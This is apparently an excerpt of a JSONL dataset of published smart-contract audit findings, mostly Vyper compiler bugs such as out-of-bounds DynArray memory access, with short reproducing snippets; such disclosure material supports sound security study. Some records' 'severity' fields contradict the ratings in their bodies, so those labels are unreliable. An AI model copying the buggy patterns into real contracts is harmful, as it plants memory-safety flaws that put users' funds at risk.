public(uint8)\n```\n```\nbalanceOf: public(HashMap[address, uint256])\nallowance: public(HashMap[address, HashMap[address, uint256]])\ntotalSupply: public(uint256)\n```\n```\n@external\ndef __init__(_name: String[32], _symbol: String[32], _decimals: uint8, _supply: uint256): pass\n```\n```\n@external\ndef transfer(_to : address, _value : uint256) -> bool: return True\n```\n```\n@external\ndef transferFrom(_from : address, _to : address, _value : uint256) -> bool: return True\n```\n```\n@external\ndef approve(_spender : address, _value : uint256) -> bool: return True\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.13 Imported Contracts Are Not Fully","body":"Semantically Validated\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-\n```\nWhen importing a contract, only the function signatures are semantically checked (to produce the\nInterfaceT), A contract that does not compile could be imported in another one which would then\ncompile as long as the signatures of the imported functions are semantically correct.\n\nFor example, a.vy compiles although it imports b.vy which does not compile.\n\n```\n#a.vy\nimport b as B\n```\n```\n@external\ndef foo(addr:address):\nx:B = B(addr)\nx.foo()\n```\n```\n#b.by\n@external\ndef foo():\nx:uint256 = \"foo\"\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.14 Incorrect Typing of Builtins Whose Return","body":"Type Depends on Some of Its Argument's Types\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-\n```\nBuiltin functions whose return type depends on some of its argument's type can be incorrectly typed\nresulting in the compiler exiting with a TypeMismatch.\n\nTo achieve this behavior, the builtin function should be called with arguments such that:\n\n- At least one argument is not constant as the call would be folded otherwise.\n- get_possible_types_from_node should return multiple potential types for the arguments on\n which the return type of the builtin depends.\n\nBelow is a list of the builtins affected together with examples failing to compile although they should:\n\n- min and max:\n - a:uint256 = min(1 if True else 2, 1)\n- all unsafe builtins:\n - a:uint256 = unsafe_add(1 if True else 2, 1)\n- shift (deprecated as of v0.3.8):\n - a:uint256 = shift(-1, 1 if True else 2)\n- uint2str:\n\n\n- f:String[12] = uint2str(1 if True else 2)","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.15 Incorrect Typing of Loop Iterable When It Is a","body":"List Literal\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-\n```\nwhen a loop iterates over a literal list, the function visit_For of the StatementAnnotationVisitor\nannotates it with a Static Array type whose value type is the last element of the list of common types of\nshared by the elements. To be consistent with the previously performed analysis, the list should be typed\nusing the type of the loop iterator as it is done with range expressions.\n\nIn this code, although it compiles, i is typed as a uint8 while [1,2,3] is annotated with int8[3].\n\n```\n@external\ndef foo():\nfor i in [1,2,3]:\na:uint8 = i\n```\nWhen doing the code generation of a for loop iterating over a literal list, _parse_For_list is\noverwriting the value type of the list with the type of the loop iterator inferred at type checking. This\nbehavior is commented with:\nTODO investigate why stmt.target.type != stmt.iter.type.value_type. By solving the\nissue above, stmt.target.type would be equal to stmt.iter.type.value_type and no\noverwriting would be needed.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.16 Incorrect Typing of Raw_Call When","severity":"info","body":"Max_Outsize=0 in Kwargs\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-\n```\nWhen called with max_outsize explicitly set to 0 (max_outsize=0) the compiler wrongly infers that\nraw_call has no return type.\n\n```\n@external\n@payable\ndef foo(_target: address):\n```\n```\n# compiles\na:bool = raw_call(_target, method_id(\"someMethodName()\"), revert_on_failure=False)\n```\n```\n# does not compile but should compile\nb:bool = raw_call(_target, method_id(\"someMethodName()\"), max_outsize=0, revert_on_failure=False)\n```\n```\n# compiles but should not compile\nraw_call(_target, method_id(\"someMethodName()\"), max_outsize=0, revert_on_failure=False)\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.17 Multiple Evaluations of DST Lead to","body":"Non-Unique Symbol Errors When Copying Bytes\n\nArrays or DynArrays\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-\n```\nThe destination of byte arrays and DynArray copying is evaluated multiple times as\ncache_when_complex is not used. This includes the following functions:\n\n- make_byte_array_copier.\n- _dynarray_make_setter (both cases: src.value == \"multi\" and\n src.value != \"multi\").\n\nFor example, compiling the following Vyper code will output\nAssertionError: non-unique symbols {'self.bar()2'}.\n\n```\na:DynArray[DynArray[uint256, 2],2]\n```\n```\n@external\ndef foo():\nself.a[self.bar()] = [1,2]\n@internal\ndef bar()->uint256:\nreturn 0\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.18 Nesting a Pop in Append Results in Incorrect","body":"Behavior\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-\n```\nWhen modifying the size of a DynArray during a call to append, the initial length will be the one used to\ncompute the new length and the compiler won't consider any change of length done by the\nsub-expression. In the example below, the value returned by a.pop() is used but its side effect of\ndecreasing a's length is omitted.\n\nThis behavior was introduced by the fix to the security advisory OOB DynArray access when array is on\nboth LHS and RHS of an assignment. As the length of the append is cached before the evaluation of the\npop and stored in memory after, the new length produced by the pop which is stored in the memory is\nnot taken into account as it is overwritten by the cached length.\n\n```\n@external\ndef foo() -> DynArray[uint256,3]:\na:DynArray[uint256,2] = [12]\na.append(a.pop())\nreturn a # outputs [12,12] while the same in python outputs [12]\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.19 No Sanity Check on Storage Layout Files","body":"```\nDesign Low Version 1\nCS-VYPER_MAY_2023-\n```\nWhen compiling a contract with the flag storage_layout_file, some basic sanity checks could be\nperformed on the given JSON file as currently:\n\n- The JSON can have duplicated entries. In this case, the last one will be the one used by the\n compiler.\n- The JSON can have entries not matching any storage slot of the contract\n- The entries of the JSON do not necessarily have to match with the type of the corresponding\n variables in the contract.\n\nFor example, a contract only defining the storage variable a:uint256 can be compiled given the\nfollowing storage layout:\n\n### {\n\n```\n\"a\": {\"type\": \"uint16\", \"slot\": 10},\n\"a\": {\"type\": \"uint8\", \"slot\": 1},\n\"b\": {\"type\": \"uint256\", \"slot\": 1}\n}\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.20 Overriding Storage Layout Fails With","body":"Immutables\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-\n```\nThe check used for ignoring immutable in set_storage_slots_with_overrides is ill-defined.\n\nWhen compiling a contract with a custom storage layout file, if an immutable is defined in the contract\n(and is not present in the json), the compilation will fail with a StorageLayoutException.\n\nFor example, the following contract fails to compile if given an empty storage layout.\n\n```\na:immutable(uint256)\n```\n```\n@external\ndef __init__():\na = 1\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.21 PR 3134 Has Been Reverted","body":"```\nDesign Low Version 1\nCS-VYPER_MAY_2023-\n```\nThe PR 3134 has been reverted by the PR 2974 in the sense that neither the conflicting signatures nor\nthe method ID are displayed when the multiple functions share the same selector.\n\nNote however that PR 2974 fixed an issue where collision between functions having 0x00000000 has\nmethod ID were not detected since collision == 0 would be treated as collision == Null.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.22 Redundant and Incomplete Function Selector","body":"Collision Checks\n\n```\nDesign Low Version 1\nCS-VYPER_MAY_2023-021\n```\nTo ensure the method IDs are unique, the constructor of the ModuleAnalyzer performs two checks that\nare both incomplete but together cover every case:\n\n- The call to validate_unique_method_ids by the constructor of the ModuleAnalyzer does not\n handle the public variable getters as they haven't been added to the AST yet.\n- The generation of an InterfaceT from the top-level node has as a side effect to ensure the\n uniqueness of method IDs of public variable getters and external functions but does not handle\n internal variables (not really required at the moment but in Vyper semantics to prevent breaking\n changes in case of a future change to their calling convention).\n\nIt would probably be better to have one check that covers everything for clarity purposes.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.23 References to Public Constant and","body":"Immutables With Self Missed by the Typechecker\n\n```\nDesign Low Version 1\nCS-VYPER_MAY_2023-022\n```\nAs visit_VariableDecl adds public constant and immutables variables to self's namespace,\ntypes_from_Attribute successfully typecheck references to constant and immutables using self.\nThe compiler later fails during the codegen.\n\nCompiling the following contract will fail with KeyError: 'a'.\n\n```\na:public(constant(uint256)) = 1\n```\n```\n@external\ndef foo():\nb:uint256 = self.a\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.24 Semantic Analysis of the Imported Contract","body":"Is Done With the Current Contract's Namespace\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-023\n```\nWhen an imported interface is typed, the namespace of the current contract is used to generate the\ninterface type from the AST of the imported contract. This means that the imported contract's function\ndefinitions may use the types and constants defined in the current contract.\n\nFor example a.vy would compile successfully although b.vy, which is imported by a.vy makes use of\nS and a, both defined in a.vy.\n\n\n```\n#a.vy\nimport b as B\n```\n```\nstruct S:\nx:uint256\na:constant(uint256) = 12\n```\n```\n@external\ndef bar(addr:address):\nx:B = B(addr)\ny:S = x.foo()\n```\n```\n#b.vy\n@external\ndef foo(a:uint256=a) -> S:\nreturn S({x:12})\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.25 StateAccessViolation When \"Self\" Is Used as","body":"a Struct Field Name\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-024\n```\nWhile it is allowed to use self as a field name for a struct, constructing such struct in a pure function\nwill result in a StateAccessViolation as the compiler will consider that this is a reference to self,\nthe address of the contract.\n\nFor example, the following contract fails to compile due to StateAccessViolation: not allowed\nto query contract or environment variables in pure functions.\n\n```\nstruct A:\nself:uint256\n```\n```\n@external\n@pure\ndef foo():\na:A = A({self:1})\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.26 TypecheckFailure When Using Address and","severity":"medium","body":"Self Members as Struct Field Name\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-025\n```\nAccessing the field of an enum named after an address or self member (balance, codesize,\nis_contract, codehash or code) results in a TypeCheckFailure.\n\nFor example, the following contract fails to compile due to\nTypeCheckFailure: Attribute node did not produce IR.\n\n\n```\nstruct User:\nbalance:uint256\n```\n```\n@external\ndef foo():\na:User = User({balance:12})\nb:uint256 = a.balance\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"5.27 in and Not in Cannot Be Used With DynArray","body":"of Enums\n\n```\nCorrectness Low Version 1\nCS-VYPER_MAY_2023-026\n```\nWhen trying to use the in or not in operator with a Dynamic Array of Enum, the compiler fails to\ncompile the program with a TypeMismatch.\n\nFor example, the following contract does not compile due to the in operation.\n\n```\nenum A:\na\nb\n@external\ndef foo():\nf:DynArray[A,12] = []\nb:bool = A.a in f\n```\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"6.1 Note on PR 3388","body":"Note Version 1\n\nThe code generation of the constructor of a contract is performed before the code generation of the\ndeployment version of its called functions. It hence relies on the fact that the code generation of runtime\ninternal functions properly sets the frame information of the constructor's callees. If the runtime code\ngeneration would be to skip the generation of internal functions that will not be included in the runtime\ncode for example, the MemoryAllocator of the constructor would be incorrectly initialized.\n\nAdditionally, following PR 3388, the following comment in the function _runtime_ir is now outdated:\n\n```\n# create a map of the IR functions since they might live in both\n# runtime and deploy code (if init function calls them)\ninternal_functions_ir: list[IRnode] = []\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} +{"title":"6.2 Unused Parameters","body":"Note Version 1\n\n- _is_function_implemented does not use its parameter fn_name.\n- struct_literals does not use its parameter name.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_May2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_May2023_audit.pdf"}} {"title":"5.1 Missing Sanity Checks","severity":"minor","body":"Correctness Low Version 1 Code Partially Corrected\n\nMultiple setter functions are missing sanity checks. The setters functions are permissioned and we\nassume the caller to be trusted. Still, mistakes can happen and would be irreversible in the following\ncases:\n\n- StrategyProxy.setGovernance\n- BalancerYBALVoter.setGovernance\n\nIn other cases it might be helpful to prevent setting an address accidentally to address(0) but it is easy\nto override the value because the role setting the new address is not changed and could reverse their\nmistake. E.g., in StrategyProxy.setFeeToken it is possible to accidentally set it to address(0) but\nit could be immediately corrected by governance. Still, this might cause side effects as transactions could\nbe executed with incorrectly set values before the mistake is reversed.\n\nIn BalancerYBALVoter, neither the initializing function nor the setters do verify that their address\ninputs are different than the zero address. Using sanity checks prevents unfortunate errors that could\npotentially brick the contract.\n\nIn the zapper contract the _recipient is not checked and might be address(0) through a UI problem\nor incorrect user call.\n\nCode partially corrected\n\nA sanity check was added in the zap function to prevent the _recipient from being address(0). All\nother sanity checks were acknowledged by client but remained unchanged.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yBAL_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_Yearn_yBAL_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_Yearn_yBAL_audit.pdf"}} {"title":"5.2 No Event Emitted for State Modifying Code","severity":"minor","body":"Design Low Version 1 Code Partially Corrected\n\nEvents indicate major state changes. Hence, it might be useful for users to listen to certain events. But\nevents do increase the gas costs slightly. Yearn might consider the option to add events in the following\ncases:\n\n- BalancerYBALVoter smart contract allows for modification of the governance and the\n strategy variables, but does not emit any event along with such modifications.\n- Some of the StrategyStYBAL setters like setProxy might issue events\n\nCode partially corrected\n\nAn event was added that indicated a change of the governance variable in BalancerYBALVoter. In\nall other cases Yearn decided to keep the code as it is.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yBAL_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_Yearn_yBAL_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_Yearn_yBAL_audit.pdf"}} {"title":"5.3 Vault Withdrawal Could Fail in the Zapper","severity":"minor","body":"Design Low Version 1 Risk Accepted\n\nVaults such as StYBAL mint some shares when users deposit some underlying into the contract. To\nwithdraw underlying tokens from such vaults, user specify an amount of shares and the smart contract\ncomputes the underlying value by using an exchange rate that depends on total funds available and\nprofit/loss.\n\nNote that in the zapper, there exists the following assertion after withdrawing _amount_in shares from a\nvault:\n\n```\nassert amount >= _amount_in # dev: fail on partial withdrawal\n```\nThis code snipped could make a zapping transaction revert for two reasons:\n\n```\n1.A small rounding down can happen when computing the underlying value, which would make\namount a little bit smaller than _amount_in.\n2.Some loss could have occured in the strategies, which could make 1 share of the vault worth\nless than 1 underlying.\n```\nRisk accepted\n\nYearn is aware of the issue and accepts the risk as they rate the probability of the issue very low.\n\n\n\nHere, we list findings that have been resolved during the course of the engagement. Their categories are\nexplained in the Findings section.\n\nBelow we provide a numerical overview of the identified findings, split up by their severity.\n\n```\nCritical-Severity Findings 0\n```\n```\nHigh-Severity Findings 0\n```\n```\nMedium-Severity Findings 0\n```\n```\nLow-Severity Findings 2\n```\n- Missing Parameter in JoinPool Struct Code Corrected\n- Outdated Comments Left Code Corrected","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yBAL_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_Yearn_yBAL_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_Yearn_yBAL_audit.pdf"}} @@ -3482,6 +3614,21 @@ {"title":"8.1 Maker Should Oversupply Due to Aave Being","body":"off by 1\n\nNote Version 1\n\nThe maker should oversupply AaveKandel by some WEI to account for Aave internal loss of precision,\nthat can lead the token amount to be off by 1 on redemption, as it could make the trade revert if they are\nthe only one to use the Aave pool from a given AavePooledRouter.","dataSource":{"name":"ChainSecurity/ChainSecurity_Mangrove_Association_ADDMA_Kandel_Strats_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_Kandel_Strats_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_Kandel_Strats_audit.pdf"}} {"title":"8.2 Supplying Caps Not Considered","body":"Note Version 1\n\nAave V3 has supply caps. However, these are not considered when supplying. Hence, supplying could\nfail so that tokens are treated as buffered.","dataSource":{"name":"ChainSecurity/ChainSecurity_Mangrove_Association_ADDMA_Kandel_Strats_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_Kandel_Strats_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_Kandel_Strats_audit.pdf"}} {"title":"8.3 AaveKandelSeeder Missing Existence Check","body":"of Pool for Asset\n\nNote Version 1\n\nNo check is done on strategy deployment for a pool of BASE or QUOTE on AaveV3. If such pools cannot\nbe supplied, the AaveKandel strategy can be deployed but there will be no yield from the deposits to the\nrouter.","dataSource":{"name":"ChainSecurity/ChainSecurity_Mangrove_Association_ADDMA_Kandel_Strats_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_Kandel_Strats_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_Kandel_Strats_audit.pdf"}} +{"title":"5.1 Default Arguments Evaluated Incorrectly for","severity":"info","body":"Internal Calls\n\n```\nCorrectness High Version 1\nCS-VYPER_MARCH_2023-\n```\nInternal calls with default arguments are compiled incorrectly. Depending on the number of arguments\nprovided in the call, the defaults are added not right-to-left, but left-to-right. If the types are incompatible,\ntypechecking is bypassed. In the bar() function in the following code, self.foo(13) is compiled to\nself.foo(13,12) instead of self.foo(13,1337).\n\n```\n@internal\ndef foo(a:uint256 = 12, b:uint256 = 1337):\n```\n\n```\npass\n```\n```\n@internal\ndef bar():\nself.foo(13)\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"5.2 Out of Bound Memory Accesses With","body":"DynArray\n\n```\nSecurity High Version 1\nCS-VYPER_MARCH_2023-\n```\nAccess to invalid memory can be performed through the use of DynArray assignments and mutating\noperations.\n\nIn the following code snippets, uninitialized memory can be read. Since memory frames are reused\nbetween function calls, that memory can contain information belonging to other functions.\n\nLiteral assignment to ``DynArray``:\n\n```\n@internal\ndef foo():\nc:DynArray[uint256, 1] = []\nc = [c[0]]\n```\nIn the previous example, in line c = [c[0]], the out-of-bound access check is perform after having set\nthe length of c to 1. The check succeeds but the memory is uninitialized.\n\nappend:\n\n```\n@internal\ndef foo():\nc:DynArray[uint256, 1] = []\nc.append(c[0])\n```\nIn the previous example, c.append(c[0]) reads uninitialied memory, but the bounds check succeed\nbecause .append() increases the length of c before evaluating its arguments.\n\nFurthermore, writing to locations beyond an array length is possible with the use of pop().\n\npop:\n\n```\n@internal\ndef foo():\nc:DynArray[uint256, 1] = [1]\nc[0] = c.pop()\n```\nHere the check to write to c[0] is performed before the length of the array is reduced by pop() to 0. It\nshould revert but it succeeds.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"5.3 StringT Not Handled in HashMap Access","severity":"major","body":"Correctness High Version 1\n\n\n```\nCS-VYPER_MARCH_2023-\n```\nThe code generation for index HashMap index should treat in the same way StringT and BytesT. The\ncondition at line 337 of vyper.codegen.expr only checks isinstance(index.typ, BytesT),\ninstead of isinstance(index.typ, _BytesArray). BytesLike got incorrectly turned into BytesT\nin the context of PR3182. As a consequence, the pointer to a string is used to access a HashMap,\ninstead of its hash.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"5.4 Skip_Contract_Check Skips Return Data","body":"Existence Check\n\n```\nDesign Medium Version 1\nCS-VYPER_MARCH_2023-\n```\nWhen calling an external function, the contract existence check can be skipped with the keyword\nargument skip_contract_check. The skip_contract_check however also bypasses the checks\nthat the external function call returned the right amount of data, by foregoing the following assert (line 111\nof vyper.codegen.external_call) :\n\n[\"assert\", [\"ge\", \"returndatasize\", min_return_size]]\n\nSince the arguments buffer is reused as the return data buffer for the external call, if the called contract\ndoes not return data, the unchanged input data is mistaken as the output data of the called function.\n\nAs an example, we are calling address 0 with function selector for f(uint256,uint256) and\narguments 1337 and 6969. The call should revert, because it resulted in no return data, or at most it\nshould return (0,0). However the call returns (1337, 6969). The only reason for this is that the argument\nbuffer is reused as the return buffer.\n\n```\ninterface A:\ndef f(a:uint256, b:uint256) -> (uint256, uint256): view\n```\n```\n@external\n@view\ndef foo() -> (uint256, uint256):\nreturn empty(A).f(1337, 6969, skip_contract_check=True)\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"5.5 String to Bool Conversion Incorrect","body":"```\nCorrectness Medium Version 1\nCS-VYPER_MARCH_2023-\n```\nThe to_bool conversion of _convert.py accepts StringT, which should be treated likely like\nBytesT. However it receives the same treatement as value types, so the pointer is converted to a bool\n(is zero comparison).","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"5.6 BytesT to BytesM_T Conversion Can Perform","severity":"info","body":"Invalid Memory Access\n\n```\nDesign Low Version 1\nCS-VYPER_MARCH_2023-\n```\n\nAn out-of-bound memory access is performed, with no consequences, when converting from an empty\nbyte sequence (b\"\") to bytes32.\n\nThe following code:\n\n```\n@internal\ndef f() -> bytes32:\nreturn convert(b\"\", bytes32)\n```\ngenerates the following IR:\n\n```\n/* convert(b\"\", bytes32) */\n[with,\narg,\n/* b\"\" */ [seq, [mstore, 64, 0], 64],\n[with,\nbits,\n[shl, 3, [sub, 32, [mload, arg]]],\n[shl,\nbits,\n[shr, bits, [mload, [add, arg, 32]]]]]]\n```\nAn mload to arg + 32 is performed, which is out of bounds with respect to the memory size allocated,\nwhich is of 1 word for a bytestring of length 0. However, the loaded value is accessed only after shifting it\nby 256 bits, which means it is zeroed, and its value does not leak to the user.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"5.7 Contract With Only Internal Functions Is","body":"Executable\n\n```\nDesign Low Version 1\nCS-VYPER_MARCH_2023-\n```\nIf a contract only has internal functions, beside the constructor, it might still compile to executable code.\nInternals are not pruned, and execution of the internal functions section is not guarded. Upon calling the\ncontract, execution will start at the first internal function. The execution will however generally fail when\nPOPping the RETURN_PC from the stack, which should be empty upon function exit.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"5.8 Cost of Memory Expansion for Callees Always","body":"Payed\n\n```\nDesign Low Version 1\nCS-VYPER_MARCH_2023-\n```\nFor functions that perform internal calls conditionally, the gas cost of the memory expansion caused by\nthe internal call is payed even when the internal functions are not called, because the caller memory\nframe is placed at higher memory addresses than the the callees memory frame.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"5.9 Dead Code","body":"```\nDesign Low Version 1\nCS-VYPER_MARCH_2023-\n```\n\nArgument constant_override of method FunctionSignature.from_definition defined in\nvyper.ast.signatures.function_signature is unused throughout the codebase.\n\nFunction parse_Name in vyper.codegen.stmt is likely never executed, as a Name can't be a\nstatement. The vdb directive seems to be a left-over from long ago.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"5.10 IR Labels for Different Functions Can Collide","body":"```\nCorrectness Low Version 1\nCS-VYPER_MARCH_2023-\n```\nLabels for goto statements are generated in vyper.ast.signatures.function_signature. The\nfunction _ir_identifier is in charge of generating unique IR labels for every function. Depending on\nthe function and the type names, different functions can generate the same labels. IR generation will\nsucceed but assembly generation wil 